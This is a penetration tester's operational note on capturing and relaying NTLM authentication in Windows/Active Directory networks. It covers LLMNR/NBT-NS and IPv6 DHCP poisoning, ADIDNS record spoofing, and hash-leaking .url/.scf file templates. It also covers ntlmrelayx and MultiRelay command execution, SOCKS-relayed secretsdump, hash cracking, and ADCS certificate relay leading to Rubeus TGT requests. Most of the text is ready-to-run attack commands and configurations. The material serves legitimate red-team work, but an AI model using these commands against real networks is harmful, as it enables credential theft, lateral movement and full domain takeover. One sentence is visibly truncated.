Exploitation - NTLM capture and relay

Overview

The LLMNR and NBT-NS poisoning attack, combined with the SMB Relay attack, or NTLM Relaying, can be used to gain an authenticated access to servers by capturing local network SMB authentication traffic and relaying it to targets servers.

Even when the organization has good patch management practices, this reliable and effective attack can almost always be leveraged to obtain an initial foothold.

LLMNR and NBT-NS poisoning

The Link-Local Multicast Name Resolution (LLMNR) and Netbios Name Service (NBT-NS) protocols can be abused to intercept local network traffic.

These protocols allow machines on the same subnet to identify hosts when DNS resolution fails. A Windows machine first tries to resolve a hostname through the Domain Name System (DNS) protocol. If DNS resolution fails, then broadcast LLMNR and / or NBT-NS requests will be sent over the local network in an attempt to ask all other machines on the local network for the associated IP address.

An attacker can listen on a network for these LLMNR (UDP: 5355) or NBT-NS (UDP: 137) broadcasts requests and respond to them, thus pretending to be the requested host.

Note that following the Microsoft security bulletin MS16-077 (Security Update for WPAD), the location of the WPAD file (which provide the client its proxy settings) is no longer requested via broadcast protocols, such as LLMNR and NBT-NS, but only via DNS.

NTLM relaying

The NT LAN Manager v1 and v2 authentication process, used in by the Server Message Block (SMB) protocol can be subverted.

The attack unwinds as follow:

1. The victim tries to authenticates himself to a server (SMB_COM_NEGOTIATE Request)

2. The authentication request is intercepted by an attacker

3. The attacker initiates an authentication procedure to a targeted server and retrieves an authentication challenge (NTLM_CHALLENGE_MESSAGE) from this server

4. The attacker forwards this challenge to the victim

5. The victim answers the challenge to the attacker (NTLM_AUTHENTICATION_MESSAGE)

6. The attacker can then relay the victim challenge response to the targeted server to authenticate as the victim

7. If the victim has local admin rights on the server, an complete access can be acquire

Since MS08-068 you cannot relay a Net-NTLM hash back to the same machine you got it from (e.g. the 'reflective' attack) unless you're performing a cross-protocol relay.

For the attack to work, SMB Signing needs to be disabled on the targeted machine. While SMB packet signing is available in all supported versions of Windows, it is enabled by default on Domain Controllers.

NTLM authentication capture

LLMNR and NBT-NS poisoning in practice

LLMNR detection

If, after a while, no NTLM authentication are captured using the tools listed below, nmap and the Metasploit's auxiliary/scanner/llmnr/query module can be used to check whether or not hosts on the local subnetwork have the LLMNR protocol enabled.

Note that even if LLMNR is disabled, system have been hardened but NBT-NS may still be enabled.

To check if a specific host, identified by its hostname, has LLMNR activated:

nmap --script llmnr-resolve --script-args 'llmnr-resolve.hostname=<HOSTNAME>'
nmap --script llmnr-resolve --script-args 'llmnr-resolve.hostname=<HOSTNAME>' -e <NETWORK_INTERFACE>

# Metasploit
use auxiliary/scanner/llmnr/query
set NAME <HOSTNAME>
run

Responder

Responder can be used to conduct the LLMNR and NBT-NS poisoning attack.

The original version of Responder on SpiderLab's Github repository isn't maintained so lgandx's fork should be prefered instead.

To capture and crack offline the hashes captured, Responder SMB and HTTP servers should not be disabled. The authentication attempt won't be transmitted to the relay servers and no NTLM relaying will be conducted.

Responder can be configured to automatically attempt to downgrade the authentication to use the NetNTLMv1 protocol against clients with a LMCompatibilityLevel attribute set to 2 or lower (which is usually the case for environment with Windows XP / Windows server 2003 operating systems). NetNTLMv1 hashes can be cracked in order to retrieve the client NTLM hash, with the exhaustion of all possibility in a matter of days on a modern crackstation. Additionally, www.crack.sh provides a rainbow table for NetNTLMv1 hashes obtained with the challenge 1122334455667788. Useable for free, this rainbow table allows crack.sh to achieve an average crack time of 25 seconds and a success rate of 99.5%.

Responder can be configured to make use of this specific authentication challenge:

# Responder.conf file

Challenge = 1122334455667788

NetNTLMv1 hashes follow the format <USERNAME>::<HOSTNAME>:<RESPONSE>: <RESPONSE>:<CHALLENGE>, with NTHASH:<RESPONSE> being the format accepted by www.crack.sh.

Otherwise, NetNTLMv2 hashes can be cracked using hashcat:

hashcat -m 5600 <HASHFILE> <WORDLIST> -o <OUTPUTFILE>

To relay NTLM authentication, Responder's SMB and HTTP servers should be disabled:

# Responder.conf file
[Responder Core]

; Servers to start
SQL = On
SMB = Off     # Turn this off
Kerberos = On
FTP = On
POP = On
SMTP = On
IMAP = On
HTTP = Off    # Turn this off
HTTPS = On
DNS = On
LDAP = On

With those servers turned off, the authentication attempts captured can be automatically transmitted to MultiRelay.py or ntlmrelayx.py's SMB and HTTP servers for the relay attack.

Responder usage:

# -d : Enable answers for netbios domain suffix queries
# -w :  Start the WPAD rogue proxy server

python Responder.py -I <NETWORK_INTERFACE> -d -w

Inveigh

Inveigh is a PowerShell script that implements LLMNR, NBNS, mDNS / DNS spoofing capabilities and can capture NetNTLMv1 / NetNTLMv2 authentication requests over the SMB and HTTP / HTTPS protocols.

It can notably be used after the initial compromise of a Windows machine, and offer some spoofing and capture functionalities even if being run as an unprivileged user. While elevated privileges are required in order to capture authentication requests over the SMB and HTTPS protocols, the spoofing capabilities and capturing should work pra users will not

# Only inspects the LLMNR, NBT-NS and mDNS traffic with out spoofing responses.
Invoke-Inveigh -ConsoleOutput Y -Inspect
Invoke-Inveigh -ConsoleOutput Y -Inspect -IP <IP>
Invoke-Inveigh -ConsoleOutput Y -Inspect -IP <IP>

# Requires elevated privileges.
Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -HTTPS Y -Proxy Y -IP <IP>

ADIDNS spoofing

In an Active Directory environment, the Domain Controllers will usually expose DNS services, that store their DNS zones in Active Directory Domain Services (AD DS). This DNS topology is known as Active Directory-Integrated DNS (ADIDNS).

The DNS zones replication to the different Domain Controllers is integrated to the overall Active Directory replication process. In multi-site Active Directory infrastructures, the replication between sites of DNS record modification may take up to three hours.

The following DNS-specific application directory partitions are created during AD DS installation:

• A forest-wide application directory partition, called ForestDnsZones

• Domain-wide application directory partitions for each domain in the forest, named DomainDnsZones

By default, any domain authenticated user may remotely add record to an ADIDNS zone through DNS dynamic updates (DNS specific protocol), thanks to the CreateChild right on the DomainDnsZones domain object. Existing records can be updated or deleted by privileged domain groups, such as the Domain Admins, Enterprise Admins, or DnsAdmins groups, as well as the owner (by default the creator) of the record.

While requiring valid domain credentials and potentially waiting for a replication time, spoofing ADIDNS records allows to target users and computers across the domain with out being limited to the local subnetwork.

# New-PSDrive is necessary on out-of-the-domain systems, the AD should automatically be mapped otherwise whenever importing the ActiveDirectory PowerShell module
New-PSDrive -Name AD -PSProvider ActiveDirectory -Server "<DC_IP>"

# DOMAIN_ROOT_OBJECT = "DC=LAB,DC=AD" for example
Get-ACL "DC=<DOMAIN_FQDN>,CN=MicrosoftDNS,DC=DomainDNSZones,<DOMAIN_ROOT_OBJECT>" | Select -ExpandProperty Access | ? IdentityReference -match "Authenticated Users"

  ActiveDirectoryRights : CreateChild
  InheritanceType       : None
  ObjectType            : 00000000-0000-0000-0000-000000000000
  InheritedObjectType   : 00000000-0000-0000-0000-000000000000
  ObjectFlags           : None
  AccessControlType     : Allow
  IdentityReference     : NT AUTHORITY\Authenticated Users
  IsInherited           : False
  InheritanceFlags      : None
  PropagationFlags      : None

The PowerShell Powermad module implements cmdlets that leverage the DNS dynamic updates functions to interact with ADIDNS zones:

# Lists the current or specified domain ADIDNS zones.
Get-ADIDNSZone [-Domain <DOMAIN>] [-DomainController <DC_IP | DC_HOSTNAME>] [-Credential <PSCredential>]

# Attempts to resolve a ADIDNS node.
Resolve-DNSName <DNS_NAME>

# Retrieves the DACL of an ADIDNS zone or node.
# By default, retrieves the DACL for the default Active Directory-Integrated Zone.
Get-ADIDNSPermission [-Domain <DOMAIN>] [-DomainController <DC_IP | DC_HOSTNAME>] [-Credential <PSCredential>]
Get-ADIDNSPermission | ? IdentityReference -match "S-1-5-11"
Get-ADIDNSPermission -Node <DNS_NAME>
Get-ADIDNSPermission -Zone <ADIDNS_ZONE>

# Creates a new ADIDNS node.
# Supported RECORD_TYPE: A, AAAA, CNAME, DNAME, NS, MX, PTR, SRV, or TXT.
# -Tombstone: Sets the dnsTombstoned flag to true when the node is created. This places the node in a state that allows it to be modified or fully tombstoned by any authenticated user.
New-ADIDNSNode -Verbose -Tombstone -Node <DNS_NAME> -Type <A | RECORD_TYPE> -Data <IP | RECORD_CONTENT>
New-ADIDNSNode -Verbose -Tombstone -Domain <DOMAIN> -DomainController <DC_IP | DC_HOSTNAME> -Credential <PSCredential> -Node <DNS_NAME> -Type <A | RECORD_TYPE> -Data <IP | RECORD_CONTENT>

# Removes the specified ADIDNS node.
Remove-ADIDNSNode [-Domain <DOMAIN>] [-DomainController <DC_IP | DC_HOSTNAME>] [-Credential <PSCredential>] -Node <DNS_NAME>

# Additional cmdlets:

# Renames the specified ADIDNS node.
Rename-ADIDNSNode -Node <DNS_NAME> -NodeNew <NEW_DNS_NAME>

# Tombstones an ADIDNS node.
Disable-ADIDNSNode -Node <DNS_NAME>

# Turns a tombstoned ADIDNS node back into a valid record.
Enable-ADIDNSNode -Node <DNS_NAME>

# Returns the owner of an ADIDNS node.
Get-ADIDNSNodeOwner -Node <DNS_NAME>

# Sets the owner of an ADIDNS node.
Set-ADIDNSNodeOwner -Principal "<USERNAME | GROUPNAME>" -Node <DNS_NAME>

# Adds an ACE to an ADIDNS node or zone DACL.
# By default grants the "GenericAll" right to the specified object.
# ACCESS_RIGHT: GenericAll, GenericRead, GenericWrite, WriteDacl, WriteOwner, WriteProperty [...]
Grant-ADIDNSPermission -Principal "<Authenticated Users | USERNAME | GROUPNAME>" -Node <DNS_NAME>
Grant-ADIDNSPermission -Access <ACCESS_RIGHT> -Type "<Allow | Deny>" -Principal "USERNAME | GROUPNAME>" -Node <DNS_NAME>

# Removes an ACE to the specified ADIDNS node or zone DACL.
Revoke-ADIDNSPermission -Access <ACCESS_RIGHT> -Principal "USERNAME | GROUPNAME>" -Node <DNS_NAME>

IPv6 rogue DHCP server

By default, every Windows system (starting from Windows Vista) will request, upon booting and periodically, an IPv6 configuration through the Dynamic Host Configuration Protocol version 6 (DHCPv6) protocol by broadcasting a Solicit request. The mitm6 Python utility will listen on the network for such DHCPv6 requests and reply to the emitting hosts, assigning them an IPv6 address within the link-local range and setting the attacking machine's IP as their default IPv6 DNS server. As no IPv6 gateway is specified by mitm6, the victim hosts will not attempt to use IPv6 for communication with hosts outside the link-local network. The DNS server maliciously configured on a victim host will be preferred to the host's IPv4 DNS server and used to query for both A (IPv4) and AAAA (IPv6) DNS records.

In addition to listening for DHCPv6 requests, mitm6 will (by default, although optional) regularly broadcast ICMPv6 Router Advertisements (RA) messages to announce to the link-local network hosts that an IPv6 network is deployed and that an IPv6 address should be requested via DHCPv6.

Immediately after the attacking machine has been configured as the DNS server of a victim host, mitm6 will receive DNS requests from the victim host for a Windows Proxy Auto Detection (WPAD) service, in the form of DNS queries for wpad.<DOMAIN_FQDN | HOST_NETWORK_INTERFACE_SUFFIX>. mitm6 will respond to such queries by returning the attacking machine's IP as the requested WPAD host. As following the Microsoft security bulletin MS16-077 (Security Update for WPAD) authentication cannot be directly requested by the WPAD server, mitm6 will instead provide the victim host with a valid WPAD file that configure the attacking machine's IP as its proxy. Further HTTP requests made by the victim host will be intercepted and replied to with a HTTP 407 Proxy Authentication required HTTP response. The Internet Explorer (IE) / Edge and Chrome web browsers (which rely on IE's settings) will automatically authenticate to the proxy under the user identity using NTLM, while Firefox will not by default.

Note that in environment making use of WPAD, mitm6 will provide a WPAD wpad.dat file over the legitimate WPAD servers, which may cause connectivity issues on the victim hosts, such as an impossibility to reach the Internet. However, in order to minimize network impact, mitm6 defines a DHCP lease of 5 minutes and sends DNS records with a Time to Live (TTL) limited to only 100 seconds. Thus, a victim host configuration will be back to normal within a few minutes of mitm6 stopping.

mitm6 should be used in combination with the Impacket's ntlmrelayx.py utility, which will provide the WPAD server and relay the NTLM authentication request. Refer to the IPv6 WPAD relay section below for more information on how to execute ntlmrelayx.py.

# -d: the <DOMAIN> to poison WPAD DNS queries for
mitm6 [-i <NETWORK_INTERFACE>] -d <DOMAIN_FQDN>

# Limits the
mitm6 [-i <NETWORK_INTERFACE>] -d <DOMAIN> -hw <HOSTNAME_FQDN_WHITELIST>
mitm6 [-i <NETWORK_INTERFACE>] -d <DOMAIN> -hb <HOSTNAME_FQDN_BLACKLIST>

MSRPC MS-RPRN "printer bug"

On a machine running the Spooler Service (which is the case by-default for all Windows systems), the RpcRemoteFindFirstPrinterChangeNotification(Ex) function of the Print System Remote Protocol, exposed on the MS-RPRN MSRPC interface, can be called by any domain user to force the machine to authenticate to the specified remote system.

The NTLM authentication can be thus be captured and eventually relayed. For more information on how to identify the MSRPC interface and call the RpcRemoteFindFirstPrinterChangeNotification function, refer to the [L7] MSRPC note.

MSRPC MS-EFSRPC - PetitPotam

Similarly to functions exposed by the MS-RPRN MSRPC interface, a number of functions of the MS-EFSRPC MSRPC interface can be abused to coerce hosts to authenticate to an arbitrary (and possibly controlled) machine.

Refer to the [L7] MSRPC note for more information and tooling (PetitPotam) to coerce authentications through the MS-EFSRPC interface.

Microsoft SQL Server (MSSQL)

The (undocumented) xp_dirtree, xp_fileexist and xp_getfiledetails SQL stored procedures can be used to access files on remote systems over SMB from a MSSQL service. By default, the account connecting to the database should only require the PUBLIC role to execute the procedures.

The account running the SQL service, be it a local or domain joined account, will authenticate to the SMB share by completing a Net-NTLMv1 or Net-NTLMv2 challenge. The challenge can be captured and eventually relayed.

For more information, refer to the [L7] MSSQL note.

"Theft" files

Various file types can include content that will automatically trigger an access to a remote SMB network share (requiring an authentication), upon the opening of the file or a browsing to a folder containing the file.

This technic can be leveraged:

• in phishing scenarios, both internal and external if the targeted entity allows outbound SMB traffic

• from an initial breach inside the internal network / Active Directory domain by uploading the file to a network share.

PingCastle's share module may be used to identify SMB network shares accessible by all domain users and that could be targeted by such attack. Refer to the [ActiveDirectory] AD scanners note for more information on how to use PingCastle.

The following file types and files can notably be used to trigger an access to the specified SMB service upon the browsing of an user to the directory containing the file:

• Internet Shortcut files (.url)

• Windows Explorer Command files (.scf) - not supported on recent Windows operating systems.

• autorun.inf / desktop.ini - not supported on recent Windows operating systems.

The following url and scf files may be used as a template:

url URL field

[InternetShortcut]
URL=file://<IP>/doesnotmatter/test.html

url IconFile field

[InternetShortcut]
URL=doesnotmatter
WorkingDirectory=doesnotmatter
IconFile=\\<IP>\%USERNAME%.icon
IconIndex=1

scf

[Shell]
Command=2
IconFile=\\<IP>\doesnotmatter\test.ico
[Taskbar]
Command=ToggleDesktop

The ntlm_theft.py Python script allows for the generation of various "theft" files, such as url, scf, docx, xlsx, pdf, etc:

python3 ntlm_theft.py --generate all -s <IP> -f <OUTPUT_FOLDER>

Exchange Web Services (EWS) SOAP API

TODO

NTLM authentication relay

Hosts with SMB signing disabled

First, a list of host with SMB signing must be gathered.

Either nmap, CMEv4 or PingCastle (personal favorite) can be used to gather a list of host with SMB signing disabled and output the result to a file:

PingCastle.exe -> 5-scanner -> a-smb -> 1-all

nmap -v -sU -sS --open -oA nmap_smb_signing_off --script smb-security-mode.nse -p U:137,T:139,445 <TARGETS>
cat nmap_smb_signing_off.nmap | grep -B 14 "message_signing: disabled" | grep "Nmap scan report for" | cut -d " " -f 5 > <FILE>

cme smb <HOSTNAME | IP | CIDR | TARGETS_FILE> --gen-relay-list <FILE>

Relay primitives to SMB, LDAP/S, MSSQL, HTTP/S services

The Impacket's ntlmrelayx.py or MultiRelay.py, that comes with the Responder toolkit for example, Python scripts can be used to relay the NTLM authentication.

By default, ntlmrelayx will dump the SAM base of the system the authentication is relayed to. As that functionality may sometimes fail, the execution of a unitary command could be preferred instead.

ntlmrelayx additionally implements the deployment of a SOCKS server that holds all the relayed sessions active and serves them to SOCKS clients. When started with the -socks option, ntlmrelayx will keep the authenticated sessions on hold, through protocols specific KeepAlive methods, and will allow SOCKS clients to connect to the targeted remote host through the SOCKS server by leveraging an active session. More information on the implementation can be found on the Impacket maintainer's blog: https://www.secureauth.com/blog/playing-relayed-credentials.

ntlmrelayx supports relaying NTLM authentication through the following protocols:

• SMB / SMB2

• LDAP / LDAPS

• MSSQL

• IMAP / IMAPS

• HTTP / HTTPS

• SMTP

The authentication can be relayed to a specific service (such as smb://<TARGET_IP | TARGET_HOSTNAME>, ldaps://<TARGET_IP | TARGET_HOSTNAME>, etc.) or to all services (all://<TARGET_IP | TARGET_HOSTNAME>) of the targeted system.

MultiRelay.py -t <TARGET_IP | TARGET_HOSTNAME> -c '<COMMAND>' -u '<ALL | USERNAME_TO_RELAY>'

# The TARGETS_FILE file should contain a list of target(s) in the form of [<SERVICE | all>://]<TARGET_IP | TARGET_HOSTNAME>, with one target per line.
ntlmrelayx.py [-smb2support] -t <TARGET_IP | TARGET_HOSTNAME | TARGET_SERVICE> -l <DIRECTORY_OUTPUT>
ntlmrelayx.py [-smb2support] -tf <TARGETS_FILE> -l <DIRECTORY_OUTPUT>
ntlmrelayx.py [-smb2support] -t <TARGET_IP | TARGET_HOSTNAME | TARGET_SERVICE> -c <COMMAND>

# SOCKS usage examples

# Starts ntlmrelayx.py in SOCKS proxy mode
ntlmrelayx.py [-smb2support] -t <TARGET_IP | TARGET_HOSTNAME | TARGET_SERVICE> -socks
ntlmrelayx.py [-smb2support] -tf <TARGETS_FILE> -socks

# Lists the active sessions.
ntlmrelayx> socks
  Protocol  Target          Username                                 Port
  --------  -------------   ------------------------------           ----
  SMB       <IP_SMB_EX>     <DOMAIN | HOSTNAME>/<USERNAME_SMB_EX>    445
  MSSQL     <IP_MSSQL_EX>   <DOMAIN | HOSTNAME>/<USERNAME_MSSQL_EX>  1433
  SMTP      <IP_SMTP_EX>    <DOMAIN | HOSTNAME>/<USERNAME_SMTP_EX>   25
  IMAP      <IP_IMAP_EX>    <DOMAIN | HOSTNAME>/<USERNAME_IMAP_EX>   143

# Proxychains can be used to proxy commands network traffic through ntlmrelayx SOCKS service. Some tools may natively embed SOCKS4 proxy support.
# Configuration and usage of Proxchains.
# Configurationfile: /etc/proxychains.conf
[ProxyList]
socks4 	<LOCAL_HOST_RUNNING_NTLMRELAYX_IP> 1080

# The ntlmrelayx "SOCKS Relay Plugin" will handle the connection and fake the login process in order to tunnel an authenticated connection.
# If a password is required by the tool used, a random password can be provided.

# SMB examples.
proxychains smbclient //<IP_SMB_EX>/<SHARE> -U <DOMAIN>/<USERNAME_SMB_EX>
proxychains secretsdump.py <DOMAIN>/<USERNAME_SMB_EX>@<IP_SMB_EX>
[...]

# MSSQL example.
proxychains mssqlclient.py -windows-auth <DOMAIN>/<USERNAME_MSSQL_EX>@<IP_MSSQL_EX>

# SMTP example.
Thunderbird can be configured to make use of ntlmrelayx SOCKS service.
The Authentication method should be set to "Normal Password" and the (Server Setting->Advanced) "Maximum number of server connections to cache" set to 1.
The under "Network Setting" the SOCKS service can be specifed.
For more information, refer to: https://www.secureauth.com/blog/playing-relayed-credentials.

IPv6 WPAD relay

The Impacket's ntlmrelayx.py utility can be used to relay NTLM authentication captured using the mitm6 utility.

# The authentication can be relayed to a specific service, such as smb://<TARGET_IP | TARGET_HOSTNAME> or ldaps://<TARGET_IP | TARGET_HOSTNAME>
# -wh: the specified WPAD hostname should be a hostname not in use in the victim network

ntlmrelayxpy -6 [-smb2support] -wh <FAKE_WPAD_HOST> -t <TARGET_IP | TARGET_HOSTNAME | TARGET_SERVICE>
ntlmrelayxpy -6 [-smb2support] -wh <FAKE_WPAD_HOST> -t <TARGET_IP | TARGET_HOSTNAME | TARGET_SERVICE> -c <COMMAND>
ntlmrelayxpy -6 [-smb2support] -wh <FAKE_WPAD_HOST> -t <TARGET_IP | TARGET_HOSTNAME | TARGET_SERVICE> -socks

Account takeover through relaying to Active Directory Certificate Services (ADCS)

If an Active Directory Certificate Services (ADCS) is configured in the environment, and a number of prerequisites are meet (detailed below), NTLM authentication can be relayed to ADCS to request a certificate under the identity of the relayed account. If an authentication for a Domain Controller is relayed, for instance by exploiting MS-EFSRPC RPC functions (PetitPotam attack), a certificate for the DomainController template may be obtained, and DRSUAPI replication (DCSync attack) further undertaken using the certificate.

The following conditions must be satisfied for the attack to be exploitable:

• ADCS must expose either the Certificate Authority Web Enrollment or Certificate Enrollment Web Service service.

• The web enrollment services must be exposed over HTTP (and not only HTTPS) and the NTLM Extended Protection for Authentication (EAP) extension must not be required for the ADCS webservices. The NTLM EAP extension, working only over HTTPS, add a binding for the SSL / TLS certificate (in the NetNTLM' response's Channel Bindings attribute) for which the NTLM authentication was initially addressed. Upon reception of the NetNTLM response, the webserver supporting EAP will be able to validate that the authentication was initially addressed to it (and not to another webserver and relayed to it).

• NTLM authentication is not disabled at a domain level or ADCS level.

For more information on the defensive mitigations that can be deployed in ADCS to prevent NTLM relaying, refer to the Microsoft KB5005413.

# Certify can be used to check if the certificate authority of the targeted domain expose web enrollment services.
# For more information on ADCS, refer to the "[ActiveDirectory] Certificate Services" note.
Certify.exe cas [/ca:<HOSTNAME>\<CA_NAME> | /domain:<DOMAIN> | /path:CN=Configuration,<DOMAIN_ROOT_OBJECT>]

# By default, ntlmrelayx will attempt to request a certificate for either the User or Machine template (depending on the relayed user account name).
# For Domain Controller authentication relaying, the DomainController template should be specified.
ntlmrelayx.py -t <http://<CA_DNS_HOSTNAME>/certsrv/ | WEB_ENROLLMENT_URL> -smb2support --adcs [--template <DomainController | User | Machine | CERTIFICATE_TEMPLATE>]

# Rubeus can then be used to request a TGT, and eventually unPAC a subsequent U2U ticket to retrieve the NTLM / NTHash, of the account.
# For more information on Kerberos tickets usage, refer to the "[ActiveDirectory] Kerberos tickets usage" note.
# For more information on the unPAC process of the U2U ticket, refer to the "[ActiveDirectory] Certificate Services" note (section "Client authentication certificate usage and NTHash / NTLM hash retrieval").
Rubeus.exe asktgt [/dc:<DC_IP | DC_HOSTNAME>] [/domain:<DOMAIN>] /user:<USERNAME> /certificate:<BASE64_CERTIFICATE> [/ptt | /getcredentials /show]

Machine takeover through relaying and Kerberos resource-based constrained delegations

https://www.trustedsec.com/blog/a-comprehensive-guide-on-relaying-anno-2022/

ATTACK 4:RESOURCE BASED CONSTRAINED DELEGATION ANYONE?

Machine takeover through relaying and Shadow Credentials

https://www.trustedsec.com/blog/a-comprehensive-guide-on-relaying-anno-2022/

Attack 5: LDAP is Fun, Especially With Shadow Credentials

---

References

https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html

https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning

https://pen-testing.sans.org/blog/2013/04/25/smb-relay-demystified-and-ntlmv2-pwnage-with-python

https://blog.fox-it.com/2018/01/11/mitm6-compromising-ipv4-networks-via-ipv6/

https://www.secureauth.com/blog/playing-relayed-credentials

https://docs.microsoft.com/en-us/previous-versions/technet-magazine/cc160954(v=msdn.10)?redirectedfrom=MSDN

https://github.com/NotMedic/NetNTLMtoSilverTicket

https://blog.netspi.com/exploiting-adidns/#adidnszones

https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/active-directory-integrated-dns-zones

https://www.trustedsec.com/blog/a-comprehensive-guide-on-relaying-anno-2022/

https://www.synacktiv.com/publications/dissecting-ntlm-epa-with-love-building-a-mitm-proxy.html

https://support.microsoft.com/en-gb/topic/kb5005413-mitigating-ntlm-relay-attacks-on-active-directory-certificate-services-ad-cs-3612b773-4043-4aa9-b23d-b87910cd3429